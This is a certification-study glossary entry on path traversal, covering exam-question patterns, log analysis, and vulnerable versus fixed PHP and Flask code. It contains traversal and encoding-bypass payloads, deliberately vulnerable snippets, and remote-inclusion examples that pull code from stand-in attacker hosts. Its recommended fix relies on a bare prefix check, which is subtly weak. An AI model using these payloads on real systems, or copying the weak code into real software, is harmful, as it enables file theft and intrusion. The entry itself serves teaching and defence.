# Path traversal

> Source: Courseiva IT Certification Glossary — https://courseiva.com/glossary/path-traversal

## Quick definition

Path traversal is a type of cyberattack where attackers trick a web server into giving them files they should not be able to access. This happens when the attacker enters special characters like "../" into a web form or URL to move up directories and reach sensitive files. By exploiting poor security checks, they can read confidential data, passwords, or even system files. Developers prevent this by properly validating and sanitizing user input.

## Simple meaning

Think of a web server as a building with many rooms. The public web folder is the lobby where visitors are allowed to go. Inside the lobby, there is a directory listing or a file request form that lets visitors ask for specific files, like a brochure or a map. Normally, the server only looks for files inside that lobby. Path traversal is like a visitor who writes a request for "../../security_room/floor_plan.pdf" instead of just "brochure.pdf". The "../" notation means "go up one level" in the folder structure. If the server does not block this trick, it will obediently go up from the lobby to the hallway, then up again to the main corridor, and then into the security room to fetch the floor plan. The attacker can then see sensitive files that were never meant for public eyes, such as password databases, configuration files, or source code. This vulnerability exists because the server trusts user input without checking whether the requested file is actually inside the allowed area. In everyday terms, it is like leaving your office door unlocked and then handing a stranger a map that shows how to get to the secure file cabinet. A simple fix is to make the server always check that the final path starts with the allowed root directory and to strip out dangerous characters like "../". Path traversal is especially dangerous because it requires no special tools, just a browser and some clever text input. For anyone studying for IT certifications, understanding path traversal is crucial because it remains one of the most common web application vulnerabilities found in penetration tests and security audits.

## Technical definition

Path traversal, also known as directory traversal, is a security vulnerability that occurs when a web application does not properly sanitize user-supplied file path input, allowing an attacker to access files and directories outside the intended web root directory. The attack typically exploits the hierarchical nature of file systems by using special character sequences, most commonly "../" (dot-dot-slash) in Unix-based systems or "..\" in Windows systems, to navigate upward through the directory tree. When a web application receives a filename or path from the user, it may concatenate that input directly into a file system call without validation. For example, a vulnerable PHP script might execute readfile($_GET['file']); with the argument "../../../etc/passwd". The resulting path would resolve to the system's password file on a Unix server, which would then be displayed to the attacker.

This vulnerability can be exploited through multiple attack vectors. The most straightforward method is through URL parameter manipulation, where the attacker modifies a query string like ?page=details to ?page=../../../../etc/shadow. Another common vector is through HTTP request headers, such as the Referer or Cookie headers, if the application uses those values as file paths. Some applications also embed file paths in hidden form fields or in the request body, which can be tampered with. The impact of a successful path traversal attack can range from reading application source code and configuration files (which may contain database credentials) to accessing system files like /etc/passwd, /etc/shadow, or Windows SAM files. In some cases, if the server is misconfigured, the attacker may even be able to execute code by uploading a malicious file and then using path traversal to include it in a script.

Several mitigation techniques are standard in the industry. The most effective is to avoid using user-supplied input directly in file system calls altogether. Instead, applications should use an allowlist of permitted filenames or map user choices to internal identifiers (like numeric IDs) that are then resolved to files server-side. When direct input must be used, the application should canonicalize the path (resolve all symbolic links and relative references) and then verify that the resolved path starts with the intended base directory. Input validation should strip or reject dangerous characters like "..", "%2e" (URL-encoded dot), "%00" (null byte), and path separators. Web server configuration can also help: on Apache, the AllowOverride directive and the use of mod_rewrite can restrict access; in IIS, URL Authorization rules provide similar protection. For IT certification candidates, understanding path traversal is tested in the context of secure coding practices and web application security frameworks like OWASP.

## Real-life example

Imagine you work at a large office building with a strict security system. The building has a public reception area on the first floor where visitors can sign in and collect brochures from a clearly marked rack. The rack has labeled slots: "Product Info", "Company History", and "Contact Directory". Visitors are only allowed to take papers from these slots. Suppose the receptionist is lazy and instead of handing you the paper, she points to a computer terminal and says, "Just type what you want and the system will fetch it for you." You type "Product Info" and the computer goes to a small cabinet next to the rack and gives you the brochure. Now, if the system is poorly designed, you might try typing something like "../../CEO_Office/Salary_Spreadsheet" instead. The "../" command in a file system means "go up one folder", so typing "../../" would move the system out of the brochure cabinet, past the reception area, out of the first floor, and up to the building's main shared drive. From there, you could specify the CEO's office folder and grab a private salary spreadsheet. This is exactly what path traversal does in the digital world. In real life, the receptionist would probably stop you because the system should only accept items from the approved list. But in many web applications, the code blindly follows the path you give it, because the developer assumed nobody would try to break the rules. The attacker is simply taking advantage of an assumption that users will not misuse the system. The fix is like programming the computer to check that every requested file starts with "AllowedFiles/" and nothing else. If you try to go above that folder, the system rejects the request.

## Why it matters

Path traversal matters because it represents a fundamental failure in how web applications handle trust. In a world where businesses store sensitive data like customer records, financial information, and intellectual property on web-accessible servers, a single path traversal vulnerability can expose all of it. For IT professionals, this is not just an academic concern. Real-world breaches have occurred because of path traversal. In 2019, a vulnerability in the popular WordPress plugin "Page Builder" allowed attackers to read any file on the server, including wp-config.php, which contains database credentials. This led to thousands of sites being compromised. Similarly, path traversal bugs have been found in enterprise software like Citrix ADC and VMware vCenter, exposing corporate networks to data theft. For system administrators and security engineers, understanding path traversal is essential for both defensive and offensive roles. On the defense side, you need to know how to review code for these vulnerabilities, how to configure web servers to block traversal attempts, and how to respond if an incident occurs. On the offensive side, penetration testers must be able to identify and exploit path traversal to prove that security controls are insufficient. Beyond the technical impact, path traversal carries legal and regulatory consequences. If an attacker accesses personal data through a path traversal vulnerability, the organization may be liable under GDPR, HIPAA, or PCI DSS, leading to fines and lawsuits. For IT certification candidates, this topic underscores the importance of input validation, a principle that appears repeatedly in security-focused exams. It also connects to broader concepts like the principle of least privilege and defense in depth. Ultimately, path traversal is a classic example of how a simple programming oversight can have catastrophic consequences, and learning about it helps build the mindset needed to think like an attacker and protect systems accordingly.

## Why it matters in exams

Path traversal is a frequent topic in several major IT certification exams, particularly those focused on security and web application testing. In CompTIA Security+, this vulnerability appears under the domain "Attacks and Exploits" (Objective 1.4). Candidates should understand how path traversal works, how it differs from other web attacks like SQL injection or XSS, and how to mitigate it using input validation and secure coding practices. The exam may present a scenario where a user is able to read the /etc/passwd file through a web form, and ask which type of attack is occurring. In CompTIA CySA+, path traversal is tested at a deeper level, often in the context of analyzing log files or threat intelligence reports to identify the attack. Candidates might be shown an Apache access log containing requests like GET /../../etc/passwd and asked to determine the vulnerability exploited. In the Certified Ethical Hacker (CEH) exam, path traversal is part of the enumeration and system hacking phases. CEH candidates are expected to know how to use tools like DirBuster or Burp Suite to discover and exploit path traversal vulnerabilities. The exam may include questions about URL encoding bypass techniques, such as using "%2e%2e%2f" to evade simple filters. In the OWASP-based certification, such as the GIAC Web Application Penetration Tester (GWAPT), path traversal is covered in detail, including advanced topics like double encoding, Unicode bypasses, and chaining with local file inclusion (LFI). For the ISC2 CISSP exam, path traversal falls under the domain "Software Development Security" and is discussed as an example of improper input validation. The exam might ask candidates to identify the best control to prevent path traversal, typically, the answer involves using an allowlist or canonicalization. Across all these exams, the key takeaway is that path traversal is a preventable vulnerability that results from trusting user input without proper validation. Questions often focus on the remediation rather than the exploitation technique. Candidates should memorize the basic payloads, understand the difference between relative and absolute paths, and be familiar with common bypass methods. Knowing that path traversal can also lead to local file inclusion (LFI) is another important concept tested in more advanced exams.

## How it appears in exam questions

In IT certification exams, path traversal questions typically follow one of three patterns: scenario-based, configuration-based, or troubleshooting-based. In scenario-based questions, you are given a description of a web application and an action performed by a user. For example, the question might read: 'A security analyst notices that a web application allows users to download reports by specifying a filename in the URL. A user enters the URL http://example.com/download.php?file=../../etc/passwd and receives the contents of the password file. Which type of vulnerability does this demonstrate?' The answer choices would include path traversal, SQL injection, cross-site scripting, and directory listing. The correct answer is path traversal. These questions test your ability to recognize the attack from a real-world description.

Configuration-based questions present a snippet of server configuration or application code and ask what change would prevent the vulnerability. For example, you might see a PHP code fragment: $file = $_GET['file']; include($file);. The question would ask: 'Which of the following modifications would best prevent path traversal?' The correct answer is to use a switch statement or an allowlist of permitted files, or to canonicalize the path and check that it begins with the allowed directory. These questions test your understanding of secure coding practices.

Troubleshooting-based questions might show web server log entries and ask you to identify whether an attack is taking place. For instance, logs might contain multiple GET requests with URL-encoded dots, such as %2e%2e%2f, and the question asks: 'What is the most likely explanation for these requests?' The answer would be that an attacker is attempting path traversal by encoding dot-dot-slash to bypass input filters. In some exams, the question may be more advanced, asking you to differentiate between path traversal and local file inclusion (LFI). For example, if the same server also accepts file uploads, and the attacker uses path traversal to include a file they uploaded, that becomes an LFI attack. Candidates should be ready to explain the difference. Multiple-choice questions often include a distractor that mentions 'directory traversal' as a synonym, so knowing that path traversal and directory traversal are the same is helpful. For performance-based questions, like those in CySA+, you may be asked to analyze a PCAP file or a log and identify the payload. Overall, exam questions on path traversal are designed to assess both recall and application, so it is important to know the concept, common mitigation techniques, and common bypass attempts.

## Example scenario

You are a junior security analyst at a small e-commerce company. The company uses a custom web application to let customers view their order invoices. The URL for viewing an invoice looks like this: https://shop.example.com/invoice?file=invoice_12345.pdf. One day, while reviewing the web server logs, you notice a series of unusual requests coming from the same IP address. The requests look like this: https://shop.example.com/invoice?file=../../config/database.php, followed by https://shop.example.com/invoice?file=../../../etc/passwd, and then https://shop.example.com/invoice?file=../../admin/users.txt. Your task is to determine whether these requests indicate an attack and, if so, what type. First, you notice that the path includes "../" sequences. You also notice that the requested files are not PDFs but PHP configuration files and system files. This is a clear sign of path traversal. The attacker is trying to break out of the directory where invoice PDFs are stored and access sensitive files on the server. You immediately alert the security team. Later, you investigate how the vulnerability exists. The PHP script that handles invoice requests probably does something like: $file = $_GET['file']; $path = '/var/www/invoices/' . $file; readfile($path);. Because the user input is concatenated directly into the path, the attacker can use "../" to navigate up and out of the /invoices/ folder. The fix is to implement input validation. For example, the code could strip any characters that are not alphanumeric or dash, or it could check that the resolved path starts with /var/www/invoices/. As a result of your report, the development team patches the application by using a mapping table: the URL parameter becomes an invoice ID number, and the server looks up the corresponding filename from a database. This completely eliminates the possibility of path traversal. This scenario illustrates how a simple programming oversight can expose sensitive data and why security analysts must be vigilant in monitoring logs and understanding attack patterns.

## Common mistakes

- **Mistake:** Thinking path traversal only works with "../" sequences
  - Why it is wrong: Attackers can bypass simple filters by using URL-encoded versions like "%2e%2e%2f", double encoding like "%252e%252e%252f", or even absolute paths like "/etc/passwd". They may also use Unicode characters or backslashes on Windows systems.
  - Fix: Instead of just blocking "../", always canonicalize the path and verify the final resolved path starts with an allowed base directory.
- **Mistake:** Assuming path traversal only affects PHP applications
  - Why it is wrong: Path traversal can occur in any programming language that reads user input and uses it to access the file system, including Java, Python, C#, and Node.js. The vulnerability is language-agnostic and depends on how the developer handles file paths.
  - Fix: Apply the same mitigation techniques regardless of the language: never trust user input, use allowlists, and canonicalize paths.
- **Mistake:** Believing that a web application firewall (WAF) alone is sufficient protection
  - Why it is wrong: WAFs can help block known payloads, but attackers can bypass WAF rules using encoding variations, parameter pollution, or exploiting WAF misconfigurations. Defense in depth requires secure coding at the application level, not just perimeter defenses.
  - Fix: Always implement secure coding practices as the primary defense, and treat the WAF as an additional layer, not a replacement.
- **Mistake:** Confusing path traversal with directory listing
  - Why it is wrong: Directory listing is when a web server displays the contents of a directory if no index file is present. Path traversal is a different attack that requires manipulating file paths. While both can expose files, they are separate vulnerabilities with different causes and mitigations.
  - Fix: Learn the distinction: directory listing is a server misconfiguration, while path traversal is an input validation flaw. Both can be mitigated, but with different solutions.
- **Mistake:** Thinking the fix is simply to block all input containing ".."
  - Why it is wrong: Blocking ".." is a weak filter because legitimate filenames might contain two consecutive dots (like "file..name.pdf"), and attackers can use other path patterns, such as absolute paths or encoded characters, to bypass the filter.
  - Fix: Use a positive security model: define exactly what input is allowed (an allowlist) rather than trying to block all dangerous characters.

## Exam trap

{"trap":"The exam shows a URL with \"%2e%2e%2f\" and asks what attack is being attempted. Many learners see the encoded characters and think it is SQL injection because of the percent signs.","why_learners_choose_it":"Learners often see URL encoding and associate it with SQL injection, because SQL injection frequently uses encoded characters to bypass filters. They may not recognize that \"%2e\" is the hex code for dot (.) and \"%2f\" is the hex code for slash (/), so the sequence decodes to \"../\".","how_to_avoid_it":"Memorize common URL encoding patterns: %2e = dot, %2f = slash. When you see \"%2e%2e%2f\", immediately think of path traversal because it decodes to \"../\". Remember that path traversal exploits file paths, while SQL injection exploits database queries. The context of the parameter (a filename versus a search term) also provides a clue."}

## Commonly confused with

- **Path traversal vs Local file inclusion (LFI):** Path traversal and LFI are closely related but not identical. Path traversal allows an attacker to read any file on the server, while LFI specifically allows the attacker to include a local file into the output of a server-side script, often enabling code execution. LFI is essentially path traversal that leads to file inclusion rather than just file reading. (Example: If a script uses include($_GET['file']); and an attacker inputs ../etc/passwd, it is path traversal (reading the file). If the attacker then uploads a PHP shell and uses the same vulnerability to include that shell, it becomes LFI.)
- **Path traversal vs Remote file inclusion (RFI):** RFI is similar to LFI but the attacker includes a file from a remote server, often using a URL like http://evil.com/shell.txt. Path traversal always involves local file paths, while RFI involves remote URLs. RFI is generally more dangerous because it often leads directly to remote code execution. (Example: Using include($_GET['file']); with ?file=http://attacker.com/malicious.php is RFI, not path traversal, because the file comes from a remote host.)
- **Path traversal vs Directory traversal:** Directory traversal is exactly the same as path traversal. The two terms are synonyms and are used interchangeably in the industry and in exam objectives. There is no difference. (Example: Both terms describe an attack where an attacker uses ../ to access files outside the web root.)
- **Path traversal vs Command injection:** Command injection involves an attacker injecting operating system commands into an application, whereas path traversal only involves manipulating file paths. Command injection can execute system commands, while path traversal typically only reads files. However, some advanced path traversal scenarios can lead to command injection if the application processes the file path in an unsafe way. (Example: In a vulnerable script, ?file=; ls -la is command injection, while ?file=../etc/passwd is path traversal.)

## Step-by-step breakdown

1. **User input is accepted** — The web application receives a file name or path from the user through a URL parameter, form field, cookie, or HTTP header. For example, a photo gallery might use index.php?image=cat.jpg. The application expects this value to be a simple filename.
2. **Input is not validated** — The application does not check whether the input contains dangerous characters like "../" or absolute paths. It trusts that the user will provide a safe filename. This lack of validation is the core weakness that enables the attack.
3. **Input is concatenated into a file path** — The application takes the user-supplied value and appends or prepends it to a base directory path. For instance, $fullPath = '/var/www/images/' . $_GET['image']; In this step, the attacker's input becomes part of the actual file system path that the server will use.
4. **The server resolves the path** — The operating system resolves the path, processing the "../" sequences. For example, /var/www/images/../../../etc/passwd becomes /etc/passwd. The server has now moved outside the intended directory without any checks.
5. **The file is accessed and returned to the attacker** — The application reads the file at the resolved path and sends its contents back to the attacker's browser. The attacker now has access to sensitive data, such as passwords, source code, or configuration files. In some cases, if the file is executable, the attack can escalate to code execution.
6. **Potential for further exploitation** — Once the attacker has read sensitive files, they may discover credentials that allow deeper access to the system, or they may combine path traversal with file upload to achieve remote code execution. This is why path traversal is often the first step in a multi-stage attack.

## Practical mini-lesson

Let us walk through a practical example of path traversal from the perspective of a developer or security engineer. Suppose you are working on a web application that displays user-uploaded profile pictures. The application is built with Python Flask. The current code looks like this:

@app.route('/profile') 
def profile(): 
 filename = request.args.get('avatar') 
 if not filename: 
 return 'No file specified' 
 filepath = os.path.join('static/uploads/', filename) 
 if not os.path.exists(filepath): 
 return 'File not found' 
 return send_file(filepath)

At first glance, this code seems okay. It uses os.path.join, which is safer than simple string concatenation, but it still does not prevent the user from providing a filename like '../../../etc/passwd'. The os.path.join function will resolve the path to '/etc/passwd' (if the base directory is /var/www/app/static/uploads/ and the user passes '../../../etc/passwd'). Then the code checks if the file exists, and if it does, it sends it to the user. This is a classic path traversal vulnerability.

Now, how do we fix this? The most robust approach is to use an allowlist. Instead of accepting arbitrary filenames from the user, we can accept an avatar ID number and then look up the actual filename from a database or a mapping dictionary. For example:

ALLOWED_AVATARS = { 
 '1': 'avatar1.png', 
 '2': 'avatar2.png', 
 '3': 'avatar3.png' 
}

@app.route('/profile') 
def profile(): 
 avatar_id = request.args.get('id') 
 if avatar_id not in ALLOWED_AVATARS: 
 return 'Invalid avatar ID' 
 filename = ALLOWED_AVATARS[avatar_id] 
 filepath = os.path.join('static/uploads/', filename) 
 return send_file(filepath)

This completely eliminates the possibility of path traversal because the user never provides a path directly. If you cannot use an allowlist, the next best option is to canonicalize the path and verify that it stays within the intended directory. In Python, you can use os.path.realpath() to get the absolute path and then use os.path.commonpath() to compare it to the base directory. For example:

@app.route('/profile') 
def profile(): 
 filename = request.args.get('avatar') 
 if not filename: 
 return 'No file specified' 
 base_dir = os.path.realpath('static/uploads/') 
 requested_path = os.path.realpath(os.path.join(base_dir, filename)) 
 if not requested_path.startswith(base_dir): 
 return 'Access denied' 
 if not os.path.exists(requested_path): 
 return 'File not found' 
 return send_file(requested_path)

This code first resolves the base directory to its absolute path, then resolves the user-supplied path relative to that base directory, and finally checks that the resolved path still starts with the base directory. If an attacker tries '../../../etc/passwd', the resolved path will start with '/etc/', which does not match the base directory, so access is denied. This is a sound mitigation technique, but it is important to note that even this approach can be bypassed if the server has symbolic links that point outside the base directory. Therefore, the allowlist approach remains the gold standard for security.

In the real world, you should also log failed path traversal attempts for incident detection. For penetration testers, understanding these code-level details helps in crafting payloads and in explaining the impact of the vulnerability to stakeholders. For developers, this lesson reinforces that security must be built into the design phase, not bolted on later. Always validate, sanitize, and never trust user input for file operations.

## Memory tip

Think of "dot dot slash" as "dangerous detour", it is a path outside the norm.

## FAQ

**Can path traversal be used to modify files?**

In most cases, path traversal is used to read files, not modify them. However, if the application also has a file upload or write function that is vulnerable to path traversal, an attacker could overwrite critical files like configuration or even upload a malicious script.

**Is path traversal the same as directory traversal?**

Yes, path traversal and directory traversal are exact synonyms for the same vulnerability. Both describe an attack where an attacker manipulates file paths to access restricted directories.

**What is the most effective way to prevent path traversal?**

The most effective prevention is to never use user-supplied input directly in file system operations. Instead, use an allowlist of permitted filenames or map user choices to internal identifiers. If direct input is unavoidable, canonicalize the path and verify it stays within an allowed base directory.

**Can path traversal be exploited through HTTP headers?**

Yes, any user-controlled input that the application uses to construct a file path can be exploited, including HTTP headers like Referer, Cookie, or custom headers. Security testing should include all input vectors.

**Do modern web frameworks automatically protect against path traversal?**

Many modern frameworks provide helper functions that can help, but they are not a silver bullet. For example, Python's os.path.join and Java's Paths.get can still be vulnerable if the developer does not validate the result. The framework cannot read the developer's intent, so developer awareness is still crucial.

**How can I detect path traversal in logs?**

Look for patterns in server logs such as multiple "../" sequences, URL-encoded dots and slashes (%2e, %2f), requests to files like /etc/passwd or /etc/shadow, or anomalous file extensions being requested from a directory that should serve only images or documents.

## Summary

Path traversal is a common yet dangerous web application vulnerability that allows attackers to access files outside the intended web root by manipulating file path inputs. The attack typically relies on using "../" sequences to navigate upward in the directory structure, but attackers also use encoding variations and absolute paths to bypass weak filters. For IT certification candidates, path traversal is a key topic in security-focused exams like CompTIA Security+, CEH, and CISSP, where it is tested both as a recognition question and as part of secure coding principles. Understanding path traversal is important because it demonstrates how a fundamental failure to validate user input can lead to data breaches, system compromise, and legal liability. The most effective mitigations include using an allowlist of permitted files, canonicalizing file paths, and avoiding direct user input in file system calls. As a learner, you should memorize common payload examples, understand the difference between path traversal and LFI, and be able to recommend secure coding fixes. In the real world, path traversal remains a top finding in penetration tests and bug bounty programs, so mastering this concept will serve you well both in exams and in your career. The key takeaway is simple: never trust user input when dealing with file paths.

---

Practice questions and the full interactive page: https://courseiva.com/glossary/path-traversal
